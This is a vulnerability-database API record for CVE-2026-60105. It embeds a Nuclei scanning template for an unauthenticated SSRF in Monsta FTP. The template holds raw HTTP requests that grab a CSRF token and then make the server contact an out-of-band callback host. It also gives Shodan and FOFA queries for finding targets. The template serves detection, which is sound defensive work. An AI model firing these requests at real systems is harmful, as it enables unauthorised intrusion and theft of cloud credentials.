{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-60105/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-60105/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-60105/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-60105/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-60105/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-60105/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-60105"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-60105"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-60105.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-60105\n\ninfo:\n  name: Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass\n  author: chocapikk,DhiyaneshDk\n  severity: high\n  description: |\n    Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses.\n  impact: |\n    An unauthenticated attacker can obtain a CSRF token from the public getSystemVars endpoint and submit a fetchRemoteFile request with a source URL resolving to an IPv4-mapped address, causing the server to issue HTTP requests to internal services and write responses to an attacker-controlled FTP destination, enabling retrieval of cloud instance metadata credentials.\n  remediation: Upgrade to Monsta FTP 2.14.5 or later.\n  reference:\n    - https://www.vulncheck.com/blog/monsta-ftp-ssrf-ipv6-blocklist-bypass\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-60105\n    epss-score: 0.01514\n    epss-percentile: 0.74585\n    cwe-id: CWE-918,CWE-184\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: monsta\n    product: monsta-ftp\n    shodan-query: http.html:\"Monsta FTP\"\n    fofa-query: body=\"Monsta FTP\"\n  tags: cve,cve2026,monsta,ftp,ssrf,oob,unauth,vkev\n\nflow: http(\"get-csrf\") && http(\"ssrf-probe\")\n\nhttp:\n  - id: get-csrf\n    raw:\n      - |\n        POST /mftp/application/api/api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        request={\"actionName\":\"getSystemVars\",\"context\":{}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: word\n        words:\n          - \"csrfToken\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        regex:\n          - '\"csrfToken\"\\s*:\\s*\"([a-f0-9]+)\"'\n        group: 1\n        internal: true\n\n  - id: ssrf-probe\n    raw:\n      - |\n        POST /mftp/application/api/api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-CSRF-Token: {{csrf_token}}\n\n        request={\"actionName\":\"fetchRemoteFile\",\"connectionType\":\"ftp\",\"configuration\":{\"host\":\"{{interactsh-url}}\",\"port\":21,\"username\":\"anonymous\",\"password\":\"anonymous@\",\"passive\":true},\"context\":{\"source\":\"http://{{interactsh-url}}/ssrf-probe\",\"destination\":\"/\"}}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n          - \"http\"\n        condition: or\n# digest: 4a0a00473045022019a9b1c407da15d7b0846537462c4d308744ffc3e7cd46da6ee260c1d80ce7d7022100a9acf44d3e37d3a0d5d4f20a1aadeedba800d86dd3ac00bbd456dafa784a7cf7:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-60105"
}